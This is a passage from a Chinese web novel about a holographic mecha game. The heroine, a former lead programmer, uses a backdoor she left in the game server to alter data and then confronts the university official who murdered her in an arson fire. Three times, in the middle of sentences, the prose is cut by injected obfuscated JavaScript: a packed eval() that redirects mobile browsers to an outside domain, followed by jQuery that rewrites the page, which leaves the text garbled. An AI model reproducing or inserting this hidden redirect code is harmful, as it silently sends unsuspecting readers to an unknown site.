此刻，上层的猫核还在角落画圈圈，嘴里说着什么“我堂堂天梯榜第九，竟然让新人带通关，真是太丢人了”，突然听见轰隆隆的雷声。 雷声？ 但是脚下怎么会有雷声，雷声不是应该从天上来吗？ “影子你给我等着啊啊啊啊！！！” 队频传来林别歌的惨叫，猫核面目呆滞，似乎终于意识到情况不妙。 迷宫层层陷落，大地传来沉沉的轰鸣声。 热渊迷宫在一阵欢乐的惨叫声中爆炸坍塌。 …… 火种的世界广播，金色大字，加粗字体，划过数条消息。 【系统公告】：恭喜战术小队-太空女鬼队，越级挑战弗拉姆星-热渊迷宫，成功击败虫母。 【系统公告】：恭喜玩家猫核获得隐藏成就“新人带带我”。 【系统公告】：恭喜玩家S获得隐藏成就“使用黑市商人处获得的谜之道具，炸掉高级副本”。 【系统公告】：恭喜玩家S在热渊迷宫底层，发现隐藏副本，“希拉·辛的埋骨地”。 吃瓜玩家B：“我去，热渊迷宫下面有隐藏副本？” 路过的吃瓜玩家A：“我刷这个副本几千次了，怎么从来没发现过。” “可能因为你没买高爆炸弹炸掉副本吧。所以究竟是谁这么疯？” “玩家S？好耳熟的名字。” “啊？是那个老三视频里‘体质E速通新手教程’的The·玩家S吗？” 网友特地加上一个定冠词The以示她的特别。 而另一边，猫核的几十人班群里。 “哈哈哈哈哈哈猫核老师怎么被新人带了！笑死我了，你不是去带三个新人的吗。” “那个‘新人带带我’怎么获得的，触发条件是什么，我也想要，头衔是只猫猫，也太可爱了。” 猫核啪啪啪甩出去几张愤怒的猫猫举砖头表情包。 “少来，你们这帮损友。” 猫核生无可恋地关掉聊天窗。 扒拉着周身的石块，猫核吭哧吭哧爬起来，雾雨E-0089从石头缝里露出它漂亮的脑袋。 猫核站在石头顶端，周围是一片废墟。 高爆炸弹。 军校课程有教过，刚刚那个震耳欲聋的声音，绝对是高爆炸弹。 猫核自诩对热渊迷宫这个副本非常了解。这炸弹不是剧情杀，只能是自己带的。 “啊啊啊啊啊谁炸副本了，谁！！！！” 谁家好人买炸弹炸副本的！！！ 是谁！！！ 罪魁祸首是谁！！ “哦，猫核，正找你呢。” 陶影——罪魁祸首，此刻一脸淡定，毫不心虚地朝猫核打招呼。 陶影朝猫核挥手：“隐藏副本在这边，不过先来帮帮忙，比格你还活着吧？” 林别歌动了动VX-89的手指——这是唯一露在石头外面的机甲部位。 她竖起一个中指。 “已死，勿念。” 陶影笑出声：“状态挺好的。” 猫核帮忙，合力扒拉了半天，终于成功营救出埋在石头堆里的林别歌。 林别歌出来第一件事，握紧拳头，当即和陶影展开了一段惊天动地的互殴。 最终以林别歌不忍欺负脆皮队友，主动认输结束。 …… 在岩石废墟里一阵赶路。 十分钟后，四人终于齐齐站在了隐藏副本面前。 抬头，是一扇二十米高的石门。上面花纹繁复而精致，角落里还雕刻着一些古代文字，引得猫核仔细研究。 “这就是那个秘密副本啊？”林别歌看着那扇神秘巨门，觉得里面估计又是一堆虫族，一脸便秘，“我不想打了，真的。我就不该上这个贼船……” “里面应该没怪了，放心吧。” “你咋知道？” “凭直觉，南瓜你说是吧。” “嗯，我感受一下，”南卦两手贴到门上，神叨叨地念了一堆词，最后下结论，“感觉里面没有精神力波动。” 陶影：“你看，我说吧。” 猫核：“……” 她们这个太空女鬼队究竟什么来路？队伍里还有女巫的？ 陶影爬下机甲，将机甲收回快速背包，又从背包里掏出新手教程获得的那把“不知道哪里的钥匙”。 不知道哪里？就是这里！ 陶影走了两步，装模作样地来到巨门边，摸索了一下。 然后后退三步，抹了抹地上的浮灰。 一个古朴的锁孔显露出来。 “哇，锁孔竟然在这里！怎么就被我发现了呢，好巧。” 陶影说完，面无表情地将钥匙插了进去，扭动两下。一套动作行云流水，好像早有预谋。 巨门发出震颤，石子灰尘扑簌簌落下。 陶影毫不犹豫，一脚踩入，几位队友虽然有些迟疑，但还是跟在了她身后。 石门在她们身后缓缓合上。 面前的景象让人惊叹。 这是一个极大的人造地下空间，墙上满是刀枪剑戟之类的原始壁画，几人好奇地凑近研究了一下，似乎是古老的蓝星文明。 整个空间明明很宏大，却没什么东西。 对比之下，好像缺少了什么似的，让人心里传来一阵死亡的空虚。 南卦突然说了一句：“这里好像一个坟墓。” “是吗？”林别歌瞄了一眼隐藏副本的名字，“希拉·辛的埋骨地……对了，这里确实是她的坟墓。” 好像听说那个时代的蓝星人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752287|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，喜欢完整地保存遗体，放进一个长方形的盒子里。 但这个盒子通常和人一样大。 “棺材呢？人埋哪儿了？” 陶影抬头指了一下天空：“喏。” 那里是一台悬浮的星舰，大概可以容纳几千人的容量。 “这是人类太空流浪时的星舰！” 猫核兴奋地从背包里掏出绳子，钩子往天上一甩，牢牢挂在星舰的舷窗上。 她体力强悍，三两下就靠着钩爪爬入星舰，南卦也很感兴趣，跟在后面一起进去了。 林别歌站在绳子底下，犹豫万分。 陶影对着林别歌：“你不去？星舰里多半有奖励。” 林别歌迟疑了一下。 “说不定有人类远古时代的食物留存。” 林别歌当即拍板：“那我去看看。” 几名队友都进去了。陶影慢悠悠，喘着气走了几步阶梯，来到一处平平无奇的角落，掀开墙壁上的藤蔓。 该干另一件正事了。 面前是严严实实的墙壁，陶影面色淡淡地伸出手。 指尖触碰到墙壁的瞬间，墙壁漾起波纹。蓝色的电子光辉闪烁着，一串串代码从眼前闪过。 【确认root用户权限：S。最高权限已获取。】 【你好，创造者，好久不见。】 一股温暖的电子流从陶影的身体释放。 墙壁的波动越来越大。 先是陶影的手掌穿过那层电子信息流，然后是手臂，胸口，腿。 陶影整个人走入墙壁。 程序员第三守则—— 记得写程序的时候给自己留个后门。 · 莱门市，海台科技公司，《火种》工作室。 办公室里只有十来个人。 当年开服的盛况早已不再，火种这么大型的全息游戏，现在只剩十几个人在运作。 现在她们只是一家小作坊而已。 伊琳娜——总裁大人正在打盹，突然程序冲了过来。 程序啪一下把电脑拍在伊琳娜面前。 “总裁出事了！！有人入侵了游戏服务器！！！还更改了游戏数据！！！” 伊琳娜正在暂替辞职的美工做海报，头昏脑胀，看了眼屏幕，一片红的蓝的绿的。 红色就算了，她看不得绿色，谢谢。 伊琳娜头疼地：“给我看这个有什么用，程序上的事以前都是陶影包圆的。” 陶影那个工作狂，程序滴水不漏。 这么多年从没被外人攻破过防火墙，究竟是谁这么大本事，能破解陶影设下的防火墙？ 伊琳娜推测：“是之前封掉的那几个人来报复？” 程序员顶着黑眼圈生无可恋地抬头：“他们有这个本事，还能靠欺负新人取乐？” “那倒也是，算了，先补救吧，这名黑客攻击服务器改了什么数据？排行榜？还是氪金数据？回退一下版本先，发个公告安抚一下玩家。” “她，她没有对服务器进行攻击。” “嗯？”伊琳娜撑起身子，“怎么回事？” 说到这个，程序也是一脸疑惑：“她整个入侵过程都非常隐形，不像是报复攻击。如果不是我碰巧看到有玩家提工单，根本不会发现。” “有新玩家报bug说，新帐号选择体质的下限，被调成了F，我回去查代码，才发现修改痕迹。” 把体质下限调成F？这是出于什么离谱的目的。 “她就没改其它东西？就改了这个？图什么？” “哦，哦——也不只改了这个。”程序员扶了扶眼镜。 果然嘛，她就说，怎么可能入侵一级防火墙就改个体质。 伊琳娜一副了然于心的表情，放松下来，靠在松软的椅背上。 “还改了什么？” 程序认真道：“她还新增了一点基因病，像是灰尘过敏啊……什么的。总之是很罕见的毛病。” 伊琳娜喝了一口水，险些被呛死，她直起身子，眯着眼睛。 言简意赅，直抒己见道—— “这黑客有病？” 43. 第 43 章 墙壁的背后，不是什么很难以想象的地方。没有复杂的代码，没有高端的防火墙。 只是一个普通房间。 样式是按照以前火种的工作室打造的。 陶影改完需要的数据，闭眼躺在椅子上，转了圈。随手拿过桌面上那杯虚拟的冰莱式，捧到嘴边喝了一口。 “哦，味道挺还原的。” 陶影怀念地打量了一下工作室。 白色的墙壁贴满了错版印刷的太空女鬼海报——伊琳娜是这个系列的忠实粉丝，听说她后来还投资了后续几部太空女鬼的拍摄，虽说拍出来都是烂片，但不知道为什么，粉丝群体非常爱。 便于清洁但难看的地板，甚至连那股有毒的家具气味都还在。 陶影低头看了眼工位摆着的几盆绿植，说是净化空气，实则纯粹起心理作用。手在叶片上捏了捏，揪下一片黄色的叶子，对着窗外的阳光。 阳光透过叶片，进入陶影深深的，黑色的瞳孔。 就连阳光都那么熟悉，好像什么都没变。 陶影勾起嘴角，陷入回忆。 工作室是伊琳娜在B区租的，租金很便宜。 小小的。 就像火种还未诞生时的模样。 第一个预告片出来时，没有人看好这个游戏，都觉得是异想天开。 过往的机甲游戏，大多都更注重游戏性，而机甲的驾驶体验上，更多是根据固有的数据，千篇一律。 而火种，要根据现实机甲的数据，打造一个充满“真实性”的游戏。说是游戏，或许也可以说是战场模拟程序。 外行看来是很有趣的概念，但实际做起来，太难了。 换个角度想，要真那么好做，又有市场，几大机甲商手里多的是成熟的机甲数据，他们不早就开发了，还轮得到她们一群学生赚这个钱？ 所以伊琳娜一开始提出这个概念的时候，陶影虽然很感兴趣，但并没有直接答应。 准确地说，陶影那时候正在图书馆，看着手里的‘星际机甲系统设计赛’报名表，头都没抬一下。 “太忙了，没时间做。” 伊琳娜按住她手中的报名表，死缠烂打道：“那你先随便做做，到时候成品能成什么样就什么样吧。” 陶影：“你为什么想做这个游戏？” “为了赚钱。” 陶影手里的笔一顿，终于抬起头：“伊琳娜……我记得你读的是金融系吧？这个投资，需要多久才能收回来，你心里有数，这种理由可说服不了我。” 伊琳娜拿出她的商业计划书，文件夹看上去很薄。 陶影迟疑着翻开，里面只有一张纸，一行字。 ——我们海台家不缺钱。 彼时，尚且稚嫩的陶·未成年大学生·影，面无表情地合上了计划书，随后言简意赅，匪夷所思道：“你有病？” 绕这么大一圈，甚至非常认真地讲了半天游戏概念。 最后就为了耍她一下？ “我没病，我说真的，”伊琳娜敲敲桌面，“我知道你缺钱。” “……”陶影视线冷漠地抬头。 伊琳娜被她看得浑身上下不舒服，认输道：“我可没故意调查你啊，好吧其实调查了，但根本查不到什么，只是你们学院的人都说你缺钱。” “这不挺好的嘛，你缺钱，我有钱，我们合作啊。” 陶影账户里骤然增多几百万星币。 这笔钱对彼时的她来说，还挺多的。 但陶影面上还是冷淡地：“等比赛结束，我考虑一下。” 然后伊琳娜就火急火燎地租了工作室，给了陶影备份钥匙。 显然当作是她同意了。 …… 陶影发誓，一开始她真的只是随便做做。 只是后来吸引了不少机甲爱好者，再加上陶影跟伊琳娜在莱门大学的“鼎鼎大名”，团队的人数逐渐变成了十几个……上百个。 陶影呆在工作室的时间越来越多，开始天天加班。 伊琳娜一开始：“陶影，快来工作室写代码！机甲程序课你闭着眼睛都能满绩，上什么课上！” 伊琳娜后来：“……你要不休息一下？” 再后来：“我求你休息一下，别死我工作室里了。” 游戏上线前伊琳娜：“陶影，你上次睡觉是几天前来着？工作狂，给我滚去睡觉！安眠药呢，我安眠药放哪儿了？迷药！镇静剂！统统灌她嘴里！怎么还醒着，管家，拿枕头来！我要掐死这个工作狂！” 伊琳娜抱着工作室的等身大太空女鬼立牌，开始发疯。陶影从光脑前抬起头，眼里满是跳动的代码。 完全没有听清伊琳娜在说什么。 这人干嘛打扰她写程序？ 陶影直抒胸臆道：“你有病？” 伊琳娜：“……” 工作室的其它成员齐心且不顾陶影死活地，给她点了二十杯冰莱式。 “加油，主程序师。”“靠你了。” “虽然不知道怎么回事，但我们写的bug好像运行起来了，好神奇。” “别死啊，主程序师。” “加油。”“大家都要好好活到游戏上线那一天。” 每个人都面带黑眼圈，筋疲力尽，好像下一秒就要赛博飞升。 但眼神中闪烁着对游戏上线的希望。 再后来，《火种》没有让她们失望。 开服后，全星际的玩家涌入，迎来了史无前例的玩家数量。陶影几度扩张服务器，依旧还是爆满。 没有人不知道《火种》，大街小巷都能看见它的身影，小学部、中学部都在玩，大学部更是不说了，军校生人手一份游戏，用作课余训练。 甚至听闻一些军队内部，也会参考内部的模拟信息。 不少人因为这个游戏，第一次尝试全息游戏舱。 游戏舱的销售率大幅提升，听闻甚至有一些型号的游戏舱，因为对火种优化很好，直接断货好几年。 游戏风靡全星际。 团队赚了不少钱。 总之是很有意思的一段时光。 陶影托着脸，一脸怀念地扫过工作室相机，一张张翻着大合影。 十几年过去，《火种》的游戏生命已经到了末期，收入大概只能勉强支撑它运行。 但不知道为什么，迟迟没有关服。 “也不知道某位有钱人现在日子过得怎样。”陶影喃喃道。 不过背靠海台科技，总归不会差到哪里去……吧？ …… 【代码更改已完成。热部署中。】 【部署完成，等待缓存加载。】 【缓存加载完成。】 陶影回过神，想起进来的目的。 她要把体质下限改成F来着。 游戏最低只能设置体质为E，那为了训练符合现实情况，当然要小小修改一下。 但大费周章入侵一级防火墙，进去了就改个这……伊琳娜如果发现了，肯定在总裁办公室大骂她有病。 陶影笑出声。 她们俩人都有病，不然怎么能做朋友？ …… 推开门，离开回忆的工作室。 墙面漾起水波纹，蓝光闪烁片刻后，渐渐平缓，陶影从波纹中走出来，就好像刚刚什么也没有发生。 随后坐在原地，休息着，顺便等几位队友探索完星舰。 队频传来消息，似乎是三位队友在星舰内部找到了奖励。 但都是火种币或者装备之类的，没什么特别的收获。 陶影发消息提醒：“要不再仔细找找驾驶舱垃圾桶？” 果然，不久后，队友一个个兴奋地顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753660|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着绳子从高高挂起的星舰滑了下来。 “我找到了日志碎片！”这是猫核。 “垃圾桶里竟然有食物，写着什么‘好朋友派’，可惜一碰就碎了，不能吃。”这是林别歌。 “好美丽好古老的工业设计，狠狠画了。”这是南卦。 林别歌和南卦兴奋了一阵，想起还有课，发了一个鼓掌的表情，就下线了。 猫核把航行日志发到考据群里，群里一片震惊。 “又找到碎片了？你们什么狗屎运？” “是热渊迷宫的副本吗？可恶，后悔了，刚才该跟S一起组队的，早知道我逃小测也要去看一眼。” “S老师，下次有副本请私聊我，谢谢。” “S老师请私聊我+1。” 猫核也有事，先下线了。 在军校勤勤恳恳上了一天课之后，猫核再次上线，看到陶影似乎在爬天梯榜。 猫核点了一下玩家S的用户信息面板，弹出窗口。 用户今日在线时间：十五个小时。 猫核心中震撼，私聊问了一句：“S老师不上课吗？” 之前跟林比格她们聊天，感觉太空女鬼队成员都是大学生，而且她们似乎住一块，课程也是一起的，怎么那两个经常上课，而S老师却堂堂在线15个小时。 陶影随口胡说八道：“因为我有网瘾。” “你一个人干嘛呢？组队不？” “今天不，暂时打打天梯榜。” 天梯榜？这是一天都在爬榜吗？ 猫核好奇地看了眼陶影的比赛记录…… 呃，三十六场，只赢了一场。 武器不是都升级了吗？岩浆巨蠕都能干掉，为什么1V1新手场会输成这样？ 猫核一头雾水。 但猫核瞬间发现另一个不对劲的点。 三十六场。三十六场？ 猫核一个后仰。 S老师是今天她们下线之后，才开始爬榜的吧？几个小时，她就打了三十六场了？ 平均下来不到十分钟一场？ 猫核再看对战时间，几乎是上一场结束后，无缝接下一场。 这……这，虽然是游戏，但是也要消耗精神力的啊。 S老师的精神力是没有底线吗？ 陶影从游戏舱内爬出时，已经是凌晨十二点。 身体有点累，不过精神依旧很好。 想着去厨房找点吃的，但小叶以刚吃饭立刻睡觉对胃不好为由，从胸口掏出一瓶营养液，递了过来。 “嗯？”陶影顺手接过。是她最喜欢的猫薄荷口味。 “你订购的？这个很难买到。”上货很少，需要抢的。 小叶歪歪头：“不喜欢吗？” “挺喜欢的。”陶影一口喝完。 就是很少有人知道她喜欢这个，不知道怎么会买到。 唔，大概是巧合吧。 林别歌和南卦正坐在一楼，看星火科学系列节目，今天似乎正好演到什么推理特别篇，说很好看，非要拉着陶影一起。 两人叽叽喳喳看到一半，困了，就这么睡在了客厅。陶影叫了半天，没叫醒。想找智能管家帮忙，但小叶似乎又耗尽电量，在杂物间充电。 陶影只能拿来毯子，给两位队友盖上。正要回二楼睡觉，突然接到一个电话。 陶影接起：“哦，嗯，好的。那明天有空。” 南卦被吵醒，揉揉眼睛，迷茫地坐起身问：“什么事啊？” 小影的声音听上去挺严肃的样子。 “哦，没什么，小问题，”陶影摆摆手，示意她继续睡，“星际联赛的工作人员说我们报名材料有问题，需要重新提交。我明天去报名处看看。” ……南卦瞬间惊醒。 联赛报名材料出问题，这哪里是小问题啊！ 44. 第 44 章 星际联赛，全称“星际高校联赛”，全星际的大学生都可以参加，但需要以学校的名义报名。 所以材料会先提交给学校审核，再提交给联赛部门。 陶影大概找联赛报名处了解了一下情况。 “你们的材料被学校卡住了。莱门大学那边没给通过，我们这边也没办法。” 莱门大学卡她的材料？ 陶影一脸疑惑。 大学一般都鼓励学生参赛，只有追着学生报名的，怎么会卡学生材料？ 陶影思索片刻，给对外联络部打了电话，工作时间，三次都是无人接听，自动挂断。 直到第四次，响了很久，陶影已经打算挂了，突然有人接起来。 但对方态度也不怎么耐烦，总是打断陶影说话。好不容易说清楚来龙去脉，对方慢悠悠道： “哦，这件事啊，我说句实话你别不爱听，你们去参加联赛，海选第一轮就会被刷下来。” “何况你们机特学院的水平嘛……”那人意味深长地拉长尾音。 “懂的都懂。” “总之，学校也有自己的考量，希望你理解。” 叽里呱啦说了一大堆，总之意思就是不给过。 陶影时不时“嗯”一声，手在光脑上点了点，若有所思。 明白了。 觉得他们机特学院的水平太差，出去比赛会给学校丢脸，故意卡了她的材料。 外联部都是老油条了，估计是觉得她们肯定会输，想着能少点麻烦就少点麻烦。 看来这条路走不通，没必要跟他们浪费时间。 陶影打断了对方的长篇大论，直接道：“那材料退给我吧，我下午来取。” 说完也没等回答，陶影径直挂掉电话，就要起身出门。 腿上突然一重。 原来是大面包闻到陶影身上的猫薄荷味，一屁股坐在了她的大腿上。 “嘶——下去。” 陶影面无表情戳戳实心大面包的屁股，它不太满意地挪动几下，最后在陶影冰冷的眼神凝视下，不情不愿地跳进花园，追蝴蝶去了。 陶影看着自己大腿上四个猫爪型的淤青，扶墙起身，仰头看天。 前途多舛啊。 …… 对外联络部的戈登松了一口气，放下通讯器。 同事千惠美正在欣赏自己的美甲，看同事这么紧张，笑笑：“谁啊，就接个电话，这么如临大敌，主任打来的？” “主任？他骂我干什么，他都不管事。是学生，就那个特有名的学生，白颖。” “啊？她！”许浩大吃一惊。这名学生在校内可非常有名，一是因为体质F太过惊世骇俗，二是精神力S太过引人注目，三是…… 许浩啧啧摇头：“听说她把爱荷华家族的小少爷送进星际监狱去了，胆子真大。” 千惠美不以为然，往嘴里抛了颗瓜子：“平民怎么可能有这么大的胆子，她肯定有后台。” “有瓜？” “什么，有瓜？” 同事竖起耳朵。 千惠美用手遮着嘴，小声道：“听说是海台科技……” 整个对外联络部，凑到一起，兴冲冲讨论了半天陶影的后台究竟是谁。 “咳总之，这次卡她报名材料，我还以为会有多难缠呢，她倒是挺乖巧的，一句都没反驳，嗯了一声就挂电话了。” “机特学院要是参赛了，到时候星网头条指不定怎么编排我们。莱大因为机特学院丢了多少脸啊……太拉低我们的档次了。” “当初就不该合并这个三级军校。” “上次海选，机特学院第一场就输了，输得特难看，网上有人P梗图，管我们叫菜门大学，菜鸡的菜，你说缺德不缺德。” “莱门大学好歹是星际TOP1高校。” 三位同事一人一句，聊得热火朝天，没有注意到有人进来。 男人将保温杯放在桌上，不轻不重地一响，他们一下子就安静了。 “朱、朱弛主任？您什么时候来的？” 三人尴尬地哈哈笑，脑子已经开始飞速旋转，刚才有没有说什么不该说的。 他怎么突然来了！平时连个面都不露的人，今天竟然破天荒地出现在了办公室。 是什么人惊动了他们主任。 那名叫朱弛的中年男子放下手中的报纸——露出略微发福的身躯。 千惠美转过头小声用口型道：“他为什么手里要拿份报纸？” 许浩摇头：“不知道，我都用光脑看新闻。” 戈登：“报纸上都是蓝星文字，好艰深，星际很少有人能看懂。我刚看了一眼，其实他报纸拿反了。” 千惠美恍然大悟地点头：“我懂了，为了装X。” 朱弛，莱门大学名誉校友，外联部主任。很厉害的名头，但向来挂名不管事。 他前段时间还在莱门监测中心监测一级智能体。这次怎么突然回校？ 千惠美悄悄给同事发消息：他来干嘛？ 许浩：我咋知道。 戈登：感觉有阴谋。 “材料给我看看？” 朱弛慢悠悠地拿过报名材料，手里还端着保温杯泡枸杞。 “体质F还开机甲？呵，异想天开。” 朱弛笑声里带刺，语气轻视。 但看着那份材料，眼神越皱越紧，手里的保温杯都不自觉晃荡了两下，洒出水烫得他手一缩。 “朱主任，怎么了？” “……没什么。” 朱弛甩甩手，满不在乎地将材料收到了抽屉里。 等所有人走光后，他才拿出那份报名材料。 【参赛人员：白颖、南卦、林别歌。】 【报名赛事：星际大学生机甲联赛。】 白颖。 他这次回莱门大学，就是为了这个学生。 朱弛盯着那个名字看了两眼，冷笑一声，他嘴里嚼着枸杞，手一抬，厚厚的一沓报名材料，统统飞进了文件处理机。 一阵高温后，粉碎机结束了清理，自动打开。 陶影精心准备的材料全化成了灰。 朱弛对着灰，深吸一口气，爽得浑身发抖。 他喜欢这种烧掉一切的感觉。 朱弛心情愉悦地背着手，离开了办公室，掏出光脑，发了条消息。 ——已经处理了。 半晌，对面缓缓回话。 ——好。 ——这学生在把甘逸送进监狱的时候，就该明白，自己做的每一件事，最终都要付出代价。 · 对外联络部在四楼，陶影爬得有点累。她拉过一把椅子坐下。 “老师，我上午说的来拿材料。” “哦，我记得。” 戈登好奇地瞥了这位校园风云人物两眼，心想她比传闻中描述的要健康一点，倒也不至于那么弱不禁风，只是时不时咳嗽两下。 她来拿材料，材料啊。 戈登的手象征性地在乱七八糟的文件堆里翻了翻，但没找到。 哦，对了。之前递给朱弛主任了，看完好像没还给他，估计是放在他抽屉里了？ 但朱弛的抽屉也没人敢翻。 戈登嫌麻烦，干脆说：“不知道去哪里了，可能弄丢了吧。” “哦？” 陶影身体微微前倾。 “报名材料里有重要个人信息。我应该是听错了吧，您刚刚是说‘可能’弄丢了吗？” 陶影语气带着点学生气的疑惑，笑容如沐春风，没有一点指责的意思。 但眼神凉凉的。 不知道为什么，戈登莫名抖了一下，有种被非人生物盯上的恐惧感。 千惠美拉住他的袖子，用口型道：小心她回头投诉你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769809|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许浩：就是，她连爱荷华家族都敢得罪。 “啧，你们这些学生麻烦事怎么这么多。”戈登心虚地又翻找两下。 文件丢了，这事可大可小。 很明显这名学生不是那种好糊弄的人。 偏远星系，高分被换，读了个破烂学院，还能心态这么稳，不是普通人。对，破烂学院，这么说来，毕业证好像也不太能威胁她。 万一惹急了，这学生光脚的不怕穿鞋的—— 呃，表明态度，装模作样找找吧。 三人象征性地开始翻找。桌子上下，抽屉里，文件柜，甚至垃圾桶里都找过了，一无所获。 但有一张桌子，他们一直没敢动。 陶影眼神沉沉地扫过桌面陈设。 桌子上干干净净，什么文件都没有，右手侧放着保温杯，上面还冒着热气。 位置挺好，应该是外联部负责人的工位。 陶影余光瞥到桌上的名牌，愣了一下， 她慢吞吞站起来，路过桌面，状似无意地瞥了一眼。 这下除了名牌，还看见中年男子和家人的合照。 ——朱弛。 没错，是朱弛。 虽然体型有变化，但这人的脸，化成灰陶影都认识。 谁会忘记杀死自己的人？ 十年前，莱机所的那场火，是朱弛放的。 那天，朱弛盗取内部ID卡，在莱机所泼洒机油，堵死了每一条出去的通道。 隔着窗户，朱弛站在她那位未婚夫背后，快意地看着她。 朱弛曾经在陶影手下做事，因为技术水平太差，且手脚不干净，被陶影不留情面地赶走。 他对陶影的自卑，变成了极致的恨意，而这恨意在杀死陶影的时候，终于得以释放。 “分明是偏远星系出身的贱民，凭什么踩在我头上命令我。” “你高高在上，看不起我！” “才能？呵。” “你再厉害又怎样，能制造出恒我又怎样，没有人会记得。你制造的一切，最终都将变成我成功路上的踏脚石。” “没人记得你。” “所有人将歌颂我。” “你将成为那个剽窃者，而我，将成为新一代知觉机甲的总设计师！” 朱弛的确这么干了。 得益于背后的势力。 现在他是“溟火”的总设计师，而莱机所随着那场大火，已经不复存在。 如果陶影没有活过来，恒我会被彻底销毁。 一切将如他们所愿。 陶影手心发热，身体滚烫，仿佛回到死去的那天。 火势汹涌，裹着令人窒息的热度，四面八方袭来。 她逃向一个房间，却似乎没有恐惧。 心中想着，她还有事情要做。 她不能死在这里。 火舌追着，从脚下点燃陶影的皮肤，灼烧她的肉/体。 陶影蓦然出现一种灵魂抽离身体的疏离感，双目失神，精神涣散片刻。 那瞬间，她觉得自己仿佛又死亡了一次。 但没有，她的灵魂回到了躯体。 因为耳边传来光脑助手急促的报警声。 “主人！你醒醒！” 陶影迷茫地眨了眨眼，低头看向光脑助手，心率那一栏不知到什么时候飙升到了极限。 她盯着那个数字慢慢回落到正常水平。 哦，好险，差点晕过去。 三秒后，陶影恢复正常，又变回那个游刃有余的坏女人。 苍白指尖在焚烧机盖子上轻轻一碰，火焰还有余温。 办公室内，戈登还在翻找文件，千惠美似乎发现那名前来找材料的学生有哪里不对，奇怪地看着她。 陶影往朱弛的位子上一坐，嘴角上挑。 来都来了。 帮朱主任找点事做吧。 45. 第 45 章 陶影在朱弛的座位堂堂正正地坐下了，不仅如此，手里还拿着朱弛和他家人的照片，仔细欣赏。 “哦，朱弛主任结婚了。”陶影语气平和地看着照片，眼中闪过几丝不可捉摸。 因为逃课坐下得太过理所当然，且她的脸颊实在苍白，大家一时也不知道她是不是因为身体不舒服所以坐下的，都欲言又止地看着她，不知道该如何开口。 千惠美小心翼翼地说：“同学……那是朱弛主任的座位。” 言下之意，你要不让让？ 这把椅子，是朱弛私人定制的符合人体工程学的高级货。朱弛向来不喜欢有人碰他的东西。要是被他本人知道有人坐他的椅子，指定生气。 但看陶影这个脸色，叫她起来好像也有点虐待学生。 许浩思索片刻，想了个折中的办法，他搬来自己的椅子。 “学生，来，你坐这把椅子。” 但陶影半个人趴在桌面上，没动。 众人视线看不到的地方，她一只手在桌下摸索着什么。 嗯，应该是在这里吧……有了！ “同学？你在干什么？”几位外联部老师似乎终于觉得陶影的姿态有点不对，走上前来。 陶影装出一副刚回神的表情，拔掉手中的数据盘，塞进后腰，然后一脸无辜地坐起身。 她举起手中的蓝色文件夹，朝众人晃了晃。 陶影：“终于找到了，我的联赛报名材料。” 千惠美的脚步一顿：“找，找到了？” 戈登并不意外：“哦，果然是在朱弛教授那里。” “老师既然知道，怎么刚刚不过来找，一直在那边来回翻？”陶影手托着脸，直白地问。 戈登轻咳一声，掩饰尴尬。总不能说他是不敢动朱弛的东西，所以拉着同事假装在那里找吧。 戈登挠头道：“这，这个嘛，忘了。” 许浩手一挥：“你问这么多干什么，找到不就行了。不过你拿回材料又有什么用？报名是要通过我们莱大外联部的。” 后面的话许浩没说，大概意思就是：外联部不给通过材料的话，拿回去你也照样不能参加星际联赛。 陶影双手交叠，有一搭没一搭地敲着桌面。 片刻后，她仰头露出一个堪称教科书级别的乖巧笑容：“真的不通过？说不定以后会后悔。” 众人一言不发。 “好吧。”得到意料之中的拒绝答案，陶影耸耸肩，没有继续纠结。 她抱着文件，跟老师道别，就打算离开。 正出门的时候，去楼上办事的朱弛也回来了，陶影站在门前，顿了一下，微笑着打了个招呼，和朱弛擦肩而过。 而朱弛却先一步叫住了她：“白颖？你来干什么？” 陶影将手中的文件夹背至身后，面露疑惑：“嗯？朱教授认识我？” 朱弛一双肥厚的大手，在陶影肩上拍拍，不知是不是故意的，下手力度挺大，陶影差点岔气，她不动声色地后退两步，离这人远点。 朱弛露出一副慈祥的好人面孔：“你在莱门大学可非常有名。对了，你手上那份文件是……” “嗯？在您桌下发现的，是我的报名材料。”陶影说着，把文件夹又往身后藏了藏。 朱弛神色变得奇怪。 报名材料？那已经被他扔进文件焚烧机烧得连灰都没有了。这学生拿的什么文件？ 不可能。肯定是她偷拿了其它的文件。 “你那份文件，看上去像是拿错了。能不能让我确认一下？” 朱弛一笑，脸上的肉挤成一团，本来就小小的眼睛，这下几乎看不见了。他说话倒是人模人样的，但身子在门前一挡，明摆着不是商量的语气。 “这……我能不能拒绝？”陶影一脸迟疑地后退了一步。 她这个犹豫的态度，更让朱弛确定了，肯定有鬼！ 